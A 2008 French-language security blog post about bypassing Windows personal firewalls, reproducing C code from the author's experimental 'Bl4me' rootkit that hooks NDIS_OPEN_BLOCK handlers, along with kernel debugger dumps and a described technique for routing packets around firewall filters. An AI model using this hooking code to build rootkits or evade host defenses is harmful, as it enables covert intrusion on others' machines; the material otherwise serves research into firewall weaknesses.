The truth about personal firewalls

février 22nd, 2008 at 12:39 admin

Je viens de tomber sur un article monstrueux sur rootkit.com. The truth aboutpersonal firewalls plonge dans les méandres des firewalls Windows. Evidemment ca me rappel beaucoup les recherches que j’ai faite pour le rootkit Bl4me, le code se travaillant au niveau des handlers des NDIS_OPEN_BLOCK en les hookant avec le code suivant :

#pragma pack(push)
#pragma pack(1)
typedef struct _HOOK_CONTEXT_STRUCT
{
    //runtime code
    UCHAR    code1_0x58; //0x58 | pop  eax      | pop caller IP from stack to eax
    UCHAR    code2_0x68; //0x68 | push IMM      | push our hook context address
    struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this
    UCHAR    code3_0x50; //0x50 | push eax        | push caller IP from eax to stack
    UCHAR    code4_0xE9; //0xE9 | jmp HookProc  | jump our hook proc
    ULONG   m_pHookProcOffset;

    //our context data

    PVOID    m_pOriginalProc;
    PVOID    m_pHookProc;
    PVOID    m_pBindAdaptHandle;
    PVOID    m_pProtocolContent;
    PVOID   *m_ppOriginPtr;

    struct _HOOK_CONTEXT_STRUCT *m_pHookNext;

}HOOK_CONTEXT_STRUCT;
#pragma pack(pop)

HOOK_CONTEXT_STRUCT    *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
    HOOK_CONTEXT_STRUCT    *pHookContext;
    PVOID    OrgFunc;

    pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
    if(pHookContext){
        OrgFunc = pHookContext->m_pOriginalProc;
    }
    else{
        OrgFunc = ppOrigProc[0];
    }
    if (OrgFunc == NULL){
        return NULL;
    }

    pHookContext = IsHookedNdisFuncEx(ppOrigProc);
    if(pHookContext){
        return pHookContext;
    }

    NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
    if(pHookContext == NULL){
        return NULL;
    }
    memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));

    pHookContext->code1_0x58 = 0x58;
    pHookContext->code2_0x68 = 0x68;
    pHookContext->code3_0x50 = 0x50;
    pHookContext->code4_0xE9 = 0xE9;

    pHookContext->m_pHookContext        = pHookContext;
    pHookContext->m_pHookProcOffset        = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
    pHookContext->m_pBindAdaptHandle    = pBindAdAptHAndle;
    pHookContext->m_pProtocolContent    = pProtocolContent;
    pHookContext->m_pOriginalProc        = OrgFunc;
    pHookContext->m_ppOriginPtr            = ppOrigProc;
    pHookContext->m_pHookProc            = pHookProc;
    pHookContext->m_pHookNext            = m_pOurAllOfHookContext;
    m_pOurAllOfHookContext                = pHookContext;

    ppOrigProc[0] = pHookContext;

    return pHookContext;
}

He wi, le code fonctionne comme le firewall Zone Alarm en allouant dans la non-paged pool un petit bout de code jumpant sur notre handler, c’est tout mimi et ca marche, en mémoire en se retrouve donc avec :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dcc5f0: TCPIP_WANARP
    Open 80e002f0 - Miniport: 80de8140 Miniport réseau étendu (IP)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dbb3a8: NDPROXY
    Open 80e0f610 - Miniport: 80dad140 Parallèle direct
    Open 80e20e78 - Miniport: 80dad140 Parallèle direct
    Open 80dba668 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
    Open 80dab3a0 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

 Protocol 80db0008: RASPPPOE

 Protocol 80de9a38: NDISWAN
    Open 80e86660 - Miniport: 80dad140 Parallèle direct
    Open 80e19e60 - Miniport: 80db17f8 Miniport réseau étendu (PPTP)
    Open ffb711a8 - Miniport: 80db0a50 Miniport WAN (PPPOE)
    Open 80df8210 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

kd> dt ndis!_NDIS_OPEN_BLOCK 80dc8c50
   +0x000 MacHandle        : 0x80de5680
   +0x004 BindingHandle    : 0x80dc8c50
   +0x008 MiniportHandle   : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x80d4c878 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x80db9008
   +0x014 MiniportNextOpen : (null)
   +0x018 ProtocolNextOpen : (null)
   +0x01c MiniportAdapterContext : 0xffb6d000
   +0x020 Reserved1        : 0 ''
   +0x021 Reserved2        : 0 ''
   +0x022 Reserved3        : 0 ''
   +0x023 Reserved4        : 0 ''
   +0x024 BindDeviceName   : 0x80df3150 _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x028 Reserved5        : 0
   +0x02c RootDeviceName   : 0x80dd556c _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x030 SendHandler      : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x030 WanSendHandler   : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x034 TransferDataHandler : 0xfa5ccfd5     int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0x80d5cc00     void  +ffffffff80d5cc00
   +0x03c TransferDataCompleteHandler : 0xfa3ae105     void  tcpip!ARPTDComplete+0
   +0x040 ReceiveHandler   : 0xffb88768     int  +ffffffffffb88768
   +0x044 ReceiveCompleteHandler : 0xfa3807ed     void  tcpip!ARPRcvComplete+0
   +0x048 WanReceiveHandler : (null)
   +0x04c RequestCompleteHandler : 0xfa3873fb     void  tcpip!ARPRequestComplete+0
   +0x050 ReceivePacketHandler : 0x80ddfc10     int  +ffffffff80ddfc10
   +0x054 SendPacketsHandler : 0xfa5cea8f     void  NDIS!ndisMFakeSendPackets+0
   +0x058 ResetHandler     : 0xfa5ceb0c     int  NDIS!ndisMFakeReset+0
   +0x05c RequestHandler   : 0xfa5cb988     int  NDIS!ndisMRequest+0
   +0x060 ResetCompleteHandler : 0xfa3ae127     void  tcpip!ARPResetComplete+0
   +0x064 StatusHandler    : 0xfa39a1e1     void  tcpip!ARPStatus+0
   +0x068 StatusCompleteHandler : 0xfa39a0d9     void  tcpip!ARPStatusComplete+0
   +0x06c Flags            : 0x100
   +0x070 References       : 1
   +0x074 SpinLock         : 0
   +0x078 FilterHandle     : 0x80dcef20
   +0x07c ProtocolOptions  : 0
   +0x080 CurrentLookahead : 0x80
   +0x082 ConnectDampTicks : 0
   +0x084 DisconnectDampTicks : 0
   +0x088 WSendHandler     : 0xfa84a58c     int  dc21x4!DC21X4Send+0
   +0x08c WTransferDataHandler : (null)
   +0x090 WSendPacketsHandler : (null)
   +0x094 CancelSendPacketsHandler : (null)
   +0x098 WakeUpEnable     : 0
   +0x09c CloseCompleteEvent : (null)
   +0x0a0 QC               : _QUEUED_CLOSE
   +0x0b4 AfReferences     : 0
   +0x0b8 NextGlobalOpen   : 0x80e002f0 _NDIS_OPEN_BLOCK
   +0x0bc NextAf           : (null)
   +0x0c0 MiniportCoCreateVcHandler : 0x0a0e0019     int  +a0e0019
   +0x0c4 MiniportCoRequestHandler : 0x6d66444e     int  +6d66444e
   +0x0c8 CoCreateVcHandler : (null)
   +0x0cc CoDeleteVcHandler : (null)
   +0x0d0 CmActivateVcCompleteHandler : (null)
   +0x0d4 CmDeactivateVcCompleteHandler : (null)
   +0x0d8 CoRequestCompleteHandler : (null)
   +0x0dc ActiveVcHead     : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0e4 InactiveVcHead   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0ec PendingAfNotifications : 0
   +0x0f0 AfNotifyCompleteEvent : 0xfa5cd122 _KEVENT

kd> u ffffffff80d5cc00 //SendCompleteHandler
80d5cc00 58              pop     eax
80d5cc01 6800ccd580      push    80D5CC00h
80d5cc06 50              push    eax
80d5cc07 e922a9f175      jmp     kernel_tcp!HookProtocolSendComplete (f6c7752e)
80d5cc0c a837            test    al,37h
80d5cc0e 38fa            cmp     dl,bh
80d5cc10 2e75c7          hnt jne 80d5cbda
80d5cc13 f6508c          not     byte ptr [eax-74h]

Si on dump la struct HOOK_CONTEXT_STRUCT on peut retrouver aussi le handler original à l’offset 0xC

kd> dd 80d5cc00 l 24
80d5cc00  cc006858 e95080d5 75f1a922 fa3837a8
80d5cc10  f6c7752e 80dc8c50 80d4c878 80dc8c88
80d5cc20  80ddfc10 80d5cc20 0a0a0006 ee657645
80d5cc30  e1034838 00380038 e1231900 00000001
80d5cc40  80dcf388 80d8d0d0 000002d4 84000000
80d5cc50  00000003 00000001 80ef9450 24000020
80d5cc60  805609e0 e127473f 8004bc00 00000000
80d5cc70  80e40a20 80e40a20 0a08000a ee657645
80d5cc80  80d5ccc0 ffb9e308 000002d4 00000000
kd> ln fa3837a8
(fa3837a8)   tcpip!ARPSendComplete   |  (fa383829)   tcpip!GetARPBufferAtDpcLevel
Exact matches:
    tcpip!ARPSendComplete = 

Bon il est clair que le code de Bl4me est expérimental mais il suffit à bypass pas mal de firewall actuel même si il est dit dans l’article que certains fw comme Outpost restorent leurs handlers, il est toujours possible de contourner cette sécurité. Pour les paquets sortant on utilise les fonctions NdisMSendPackets et ndisMSendX en les envoyant direct sur le Miniport :

VOID (* pndisMSendPacketsX)(
    IN NDIS_HANDLE  NdisBindingHandle,
    IN PPNDIS_PACKET  PacketArray,
    IN UINT  NumberOfPackets
    );

Pour les paquets sortant, on tape direct sur le NDIS_MINIPORT_BLOCK plus précisément sur les blocks servant à la fonction NDIS!ethFilterDprIndicateReceivePacket pour dispatcher les packets sur les NDIS_OPEN_BLOCK attachés au miniport.
Exemple :

kd> !miniports
NDIS Driver verifier level: 0
NDIS Failed allocations   : 0
Miniport Driver Block: 80dac8b8, Version 0.0
  Miniport: 80dad140, NetLuidIndex: 0, IfIndex: 0, Parallèle direct
Miniport Driver Block: 80db1db8, Version 0.0
  Miniport: 80db17f8, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (PPTP)
Miniport Driver Block: 80db2080, Version 0.0
  Miniport: 80db0a50, NetLuidIndex: 0, IfIndex: 0, Miniport WAN (PPPOE)
Miniport Driver Block: 80de9950, Version 0.0
  Miniport: 80de8140, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (IP)
Miniport Driver Block: 80df07d8, Version 0.0
  Miniport: 80df0298, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (L2TP)
Miniport Driver Block: 80df4880, Version 5.5
  Miniport: 80df3140, NetLuidIndex: 0, IfIndex: 0, Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
kd> dt nt!_NDIS_MINIPORT_BLOCK 80df4880

kd> dt ndis!_NDIS_MINIPORT_BLOCK 80df3140
   +0x000 Signature        : 0x504d444e
   +0x004 NextMiniport     : (null)
   +0x008 DriverHandle     : 0x80df4880 _NDIS_M_DRIVER_BLOCK
   +0x00c MiniportAdapterContext : 0xffb6d000
   +0x010 MiniportName     : _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x018 BindPaths        : 0x80dd5568 _NDIS_BIND_PATHS
   +0x01c OpenQueue        : 0x80e2fef0
   +0x020 ShortRef         : _REFERENCE
   +0x028 DeviceContext    : (null)
   +0x02c Padding1         : 0 ''
   +0x02d LockAcquired     : 0 ''
   +0x02e PmodeOpens       : 0 ''
   +0x02f AssignedProcessor : 0 ''
   +0x030 Lock             : 0
   +0x034 MediaRequest     : (null)
   +0x038 Interrupt        : 0xffb6d008 _NDIS_MINIPORT_INTERRUPT
   +0x03c Flags            : 0xc412008
   +0x040 PnPFlags         : 0x10210000
   +0x044 PacketList       : _LIST_ENTRY [ 0x80df3184 - 0x80df3184 ]
   +0x04c FirstPendingPacket : (null)
   +0x050 ReturnPacketsQueue : (null)
   +0x054 RequestBuffer    : 0xb
   +0x058 SetMCastBuffer   : (null)
   +0x05c PrimaryMiniport  : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x060 WrapperContext   : 0x80df30f8
   +0x064 BusDataContext   : 0x80eaef08
   +0x068 PnPCapabilities  : 0x30
   +0x06c Resources        : (null)
   +0x070 WakeUpDpcTimer   : _NDIS_TIMER
   +0x0b8 BaseName         : _UNICODE_STRING "{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c0 SymbolicLinkName : _UNICODE_STRING "\??\PCI#VEN_1011&DEV_0009&SUBSYS_21140A00&REV_20#3&267a616a&0&50#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c8 CheckForHangSeconds : 2
   +0x0cc CFHangTicks      : 1
   +0x0ce CFHangCurrentTick : 1
   +0x0d0 ResetStatus      : 0
   +0x0d4 ResetOpen        : (null)
   +0x0d8 EthDB            : 0x80e438e8 _X_FILTER
   +0x0d8 NullDB           : 0x80e438e8 _X_FILTER
   +0x0dc TrDB             : (null)
   +0x0e0 FddiDB           : (null)
   +0x0e4 ArcDB            : (null)
   +0x0e8 PacketIndicateHandler : 0xfa5baa0b     void  NDIS!ndisMDummyIndicatePacket+0
   +0x0ec SendCompleteHandler : 0xfa5ccbc3     void  NDIS!NdisMSendComplete+0
   +0x0f0 SendResourcesHandler : 0xfa5d2a24     void  NDIS!NdisMSendResourcesAvailable+0
   +0x0f4 ResetCompleteHandler : 0xfa5d408f     void  NDIS!NdisMResetComplete+0
   +0x0f8 MediaType        : 0 ( NdisMedium802_3 )
   +0x0fc BusNumber        : 0
   +0x100 BusType          : 5 ( NdisInterfacePci )
   +0x104 AdapterType      : 5 ( NdisInterfacePci )
   +0x108 DeviceObject     : 0x80df3040 _DEVICE_OBJECT
   +0x10c PhysicalDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x110 NextDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x114 MapRegisters     : 0x80d9eab0 _MAP_REGISTER_ENTRY
   +0x118 CallMgrAfList    : (null)
   +0x11c MiniportThread   : (null)
   +0x120 SetInfoBuf       : (null)
   +0x124 SetInfoBufLen    : 0
   +0x126 MaxSendPackets   : 0
   +0x128 FakeStatus       : -1073676257
   +0x12c LockHandler      : 0xfa5cfd89
   +0x130 pAdapterInstanceName : 0x80e7fbc0 _UNICODE_STRING "Carte Fast Ethernet PCI à base de Intel 21140 (Générique)"
   +0x134 TimerQueue       : (null)
   +0x138 MacOptions       : 0x8f
   +0x13c PendingRequest   : (null)
   +0x140 MaximumLongAddresses : 0x24
   +0x144 MaximumShortAddresses : 0
   +0x148 CurrentLookahead : 0x80
   +0x14c MaximumLookahead : 0x200
   +0x150 HandleInterruptHandler : 0xfa846094     void  dc21x4!DC21X4HandleInterrupt+0
   +0x154 DisableInterruptHandler : 0xfa846e32     void  dc21x4!DC21X4DisableInterrupt+0
   +0x158 EnableInterruptHandler : 0xfa846e18     void  dc21x4!DC21X4EnableInterrupt+0
   +0x15c SendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x160 DeferredSendHandler : 0xfa5cc997     unsigned char  NDIS!ndisMStartSends+0
   +0x164 EthRxIndicateHandler : 0xfa5d9af6     void  NDIS!EthFilterDprIndicateReceive+0
   +0x168 TrRxIndicateHandler : 0xfa5da1f1     void  NDIS!TrFilterDprIndicateReceive+0
   +0x16c FddiRxIndicateHandler : 0xfa5d81f8     void  NDIS!FddiFilterDprIndicateReceive+0
   +0x170 EthRxCompleteHandler : 0xfa5d9971     void  NDIS!EthFilterDprIndicateReceiveComplete+0
   +0x174 TrRxCompleteHandler : 0xfa5daa2d     void  NDIS!TrFilterDprIndicateReceiveComplete+0
   +0x178 FddiRxCompleteHandler : 0xfa5d77fc     void  NDIS!FddiFilterDprIndicateReceiveComplete+0
   +0x17c StatusHandler    : 0xfa5d0a5f     void  NDIS!NdisMIndicateStatus+0
   +0x180 StatusCompleteHandler : 0xfa5d0c9d     void  NDIS!NdisMIndicateStatusComplete+0
   +0x184 TDCompleteHandler : 0xfa5ccf44     void  NDIS!NdisMTransferDataComplete+0
   +0x188 QueryCompleteHandler : 0xfa5cf907     void  NDIS!NdisMQueryInformationComplete+0
   +0x18c SetCompleteHandler : 0xfa5cfce3     void  NDIS!NdisMSetInformationComplete+0
   +0x190 WanSendCompleteHandler : 0xfa5cd26d     void  NDIS!NdisMWanSendComplete+0
   +0x194 WanRcvHandler    : 0xfa5d38a1     void  NDIS!NdisMWanIndicateReceive+0
   +0x198 WanRcvCompleteHandler : 0xfa5d3941     void  NDIS!NdisMWanIndicateReceiveComplete+0
   +0x19c NextGlobalMiniport : (null)
   +0x1a0 WorkQueue        : [7] _SINGLE_LIST_ENTRY
   +0x1bc SingleWorkItems  : [6] _SINGLE_LIST_ENTRY
   +0x1d4 SendFlags        : 0 ''
   +0x1d5 TrResetRing      : 0 ''
   +0x1d6 ArcnetAddress    : 0 ''
   +0x1d7 XState           : 0x2 ''
   +0x1d8 ArcBuf           : (null)
   +0x1d8 BusInterface     : (null)
   +0x1dc Log              : (null)
   +0x1e0 SlotNumber       : 0xffffffff
   +0x1e4 AllocatedResources : 0x80df68a0 _CM_RESOURCE_LIST
   +0x1e8 AllocatedResourcesTranslated : 0x80df6904 _CM_RESOURCE_LIST
   +0x1ec PatternList      : _SINGLE_LIST_ENTRY
   +0x1f0 PMCapabilities   : _NDIS_PNP_CAPABILITIES
   +0x200 DeviceCaps       : _DEVICE_CAPABILITIES
   +0x240 WakeUpEnable     : 0
   +0x244 CurrentDevicePowerState : 1 ( PowerDeviceD0 )
   +0x248 pIrpWaitWake     : (null)
   +0x24c WaitWakeSystemState : 0 ( PowerSystemUnspecified )
   +0x250 VcIndex          : _LARGE_INTEGER 0x0
   +0x258 VcCountLock      : 0
   +0x25c WmiEnabledVcs    : _LIST_ENTRY [ 0x80df339c - 0x80df339c ]
   +0x264 pNdisGuidMap     : 0x80dde900 _NDIS_GUID
   +0x268 pCustomGuidMap   : (null)
   +0x26c VcCount          : 0
   +0x26e cNdisGuidMap     : 0x40
   +0x270 cCustomGuidMap   : 0
   +0x272 CurrentMapRegister : 0x7f
   +0x274 AllocationEvent  : 0xfabb82e0 _KEVENT
   +0x278 BaseMapRegistersNeeded : 0x80
   +0x27a SGMapRegistersNeeded : 0x10
   +0x27c MaximumPhysicalMapping : 0x600
   +0x280 MediaDisconnectTimer : _NDIS_TIMER
   +0x2c8 MediaDisconnectTimeOut : 0xffff
   +0x2ca InstanceNumber   : 1
   +0x2cc OpenReadyEvent   : _NDIS_EVENT
   +0x2dc PnPDeviceState   : 1 ( NdisPnPDeviceStarted )
   +0x2e0 OldPnPDeviceState : 0 ( NdisPnPDeviceAdded )
   +0x2e4 SetBusData       : 0xfa704330     unsigned long  pci!PciPnpWriteConfig+0
   +0x2e8 GetBusData       : 0xfa704306     unsigned long  pci!PciPnpReadConfig+0
   +0x2ec DeferredDpc      : _KDPC
   +0x310 NdisStats        : _NDIS_STATS
   +0x328 IndicatedPacket  : [32] (null)
   +0x3a8 RemoveReadyEvent : (null)
   +0x3ac AllOpensClosedEvent : (null)
   +0x3b0 AllRequestsCompletedEvent : (null)
   +0x3b4 InitTimeMs       : 0xd88
   +0x3b8 WorkItemBuffer   : [6] _NDIS_MINIPORT_WORK_ITEM
   +0x400 SystemAdapterObject : 0x80dd5788 _DMA_ADAPTER
   +0x404 DriverVerifyFlags : 0
   +0x408 OidList          : 0x80dd8d58 _OID_LIST
   +0x40c InternalResetCount : 0
   +0x40e MiniportResetCount : 0
   +0x410 MediaSenseConnectCount : 0
   +0x412 MediaSenseDisconnectCount : 2
   +0x414 xPackets         : (null)
   +0x418 UserModeOpenReferences : 0
   +0x41c SavedSendHandler : 0xfa5ccd33
   +0x41c SavedWanSendHandler : 0xfa5ccd33
   +0x420 SavedSendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x424 SavedCancelSendPacketsHandler : (null)
   +0x428 WSendPacketsHandler : (null)
   +0x42c MiniportAttributes : 8
   +0x430 SavedSystemAdapterObject : (null)
   +0x434 NumOpens         : 2
   +0x436 CFHangXTicks     : 0
   +0x438 RequestCount     : 0
   +0x43c IndicatedPacketsCount : 0
   +0x440 PhysicalMediumType : 0
   +0x444 LastRequest      : 0xf7526b6c _NDIS_REQUEST
   +0x448 DmaAdapterRefCount : 8
   +0x44c FakeMac          : 0x80de5680
   +0x450 LockDbg          : 0
   +0x454 LockDbgX         : 0
   +0x458 LockThread       : (null)
   +0x45c InfoFlags        : 0x2010211
   +0x460 TimerQueueLock   : 0
   +0x464 ResetCompletedEvent : (null)
   +0x468 QueuedBindingCompletedEvent : (null)
   +0x46c DmaResourcesReleasedEvent : (null)
   +0x470 SavedPacketIndicateHandler : 0xfa5d8b21     void  NDIS!ethFilterDprIndicateReceivePacket+0
   +0x474 RegisteredInterrupts : 1
   +0x478 SGListLookasideList : (null)
   +0x47c ScatterGatherListSize : 0
   +0x480 WakeUpTimerEvent : (null)
   +0x484 SecurityDescriptor : 0x80df4680
   +0x488 NumUserOpens     : 0
   +0x48c NumAdminOpens    : 0
   +0x490 Ref              : _ULONG_REFERENCE

On prend le champ EthDB qui pointe sur une struct ndis!_X_FILTER :

kd> dt ndis!_X_FILTER 0x80e438e8
   +0x000 OpenList         : 0x80e2fea8 _X_BINDING_INFO
   +0x004 BindListLock     : _NDIS_RW_LOCK
   +0x214 Miniport         : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x218 CombinedPacketFilter : 0xb
   +0x21c OldCombinedPacketFilter : 0xb
   +0x220 NumOpens         : 2
   +0x224 MCastSet         : (null)
   +0x228 SingleActiveOpen : (null)
   +0x22c AdapterAddress   : [6]  ""
   +0x234 MCastAddressBuf  : 0xffb9b1b8 [6]  "???"
   +0x238 OldMCastAddressBuf : (null)
   +0x23c MaxMulticastAddresses : 0x24
   +0x240 NumAddresses     : 1
   +0x244 OldNumAddresses  : 0
   +0x234 AdapterShortAddress : [2]  "??????"
   +0x238 MCastLongAddressBuf : (null)
   +0x23c MCastShortAddressBuf : 0x00000024 [2]  ""
   +0x240 OldMCastLongAddressBuf : 0x00000001 [6]  ""
   +0x244 OldMCastShortAddressBuf : (null)
   +0x248 MaxMulticastLongAddresses : 0
   +0x24c MaxMulticastShortAddresses : 0
   +0x250 NumLongAddresses : 0
   +0x254 NumShortAddresses : 0
   +0x258 OldNumLongAddresses : 0
   +0x25c OldNumShortAddresses : 0
   +0x260 SupportsShortAddresses : 0 ''
   +0x234 CombinedFunctionalAddress : 0xffb9b1b8
   +0x238 GroupAddress     : 0
   +0x23c GroupReferences  : 0x24
   +0x240 OldCombinedFunctionalAddress : 1
   +0x244 OldGroupAddress  : 0
   +0x248 OldGroupReferences : 0

Cette structure contient un pointeur sur un liste de _X_BINDING_INFO qui représentent les NDIS_OPEN_BLOCK attachés au miniport.

kd> dt ndis!_X_BINDING_INFO 0x80e2fea8
   +0x000 NextOpen         : 0x80dcef20 _X_BINDING_INFO
   +0x004 NdisBindingHandle : 0x80e2fef0 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : 0x80f01bc8 [6]  "???"
   +0x024 NumAddresses     : 1
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : 0x80f01bc8 [6]  "???"
   +0x024 NumLongAddresses : 1
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0x80f01bc8
   +0x024 OldFunctionalAddress : 1
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

kd> dt ndis!_X_BINDING_INFO 0x80dcef20
   +0x000 NextOpen         : (null)
   +0x004 NdisBindingHandle : 0x80dc8c50 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : (null)
   +0x024 NumAddresses     : 0
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : (null)
   +0x024 NumLongAddresses : 0
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0
   +0x024 OldFunctionalAddress : 0
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

Si on regarde bien le résultat de la commande !protocols on a 2 OPEN_BLOCK sur notre miniport qui sont :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

Ho tient ce sont ceux qu’on voit dans les ndis!_X_BINDING_INFO ! On peut donc pour un packet entrant le rediriger sur un fake NDIS_OPEN_BLOCK à nous, de la même forme que l’original mais ayant les handler Reveive* modifiés, et voilà le tour est joué. J’avoue que j’ai choppé toutes ces infos dans la conf Rootkits: Attacking Personal Firewalls d’Alexander Tereshkin lors de blackhat 2K6. Je me demande même si ce n’est pas lui l’auteur de l’article dont je vous parle sur rootkit.com …

Si vous voulez vous faire plaisir, MS vous file les doc imbuvable de ses protocoles (merci à nono) Windows Server Protocols (WSPP)

Entry Filed under: C:

2 Comments

  • 1. chantecode  |  février 22nd, 2008 at 15:56

    Une aspirine vite!


  • 2. SynApsus  |  février 23rd, 2008 at 11:41

    mouais… essaie de mettre un poil plus de qualité ou de pédagogie passque là, c’est un peu useless.


Trackback this post


Calendar

mars 2024
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Most Recent Posts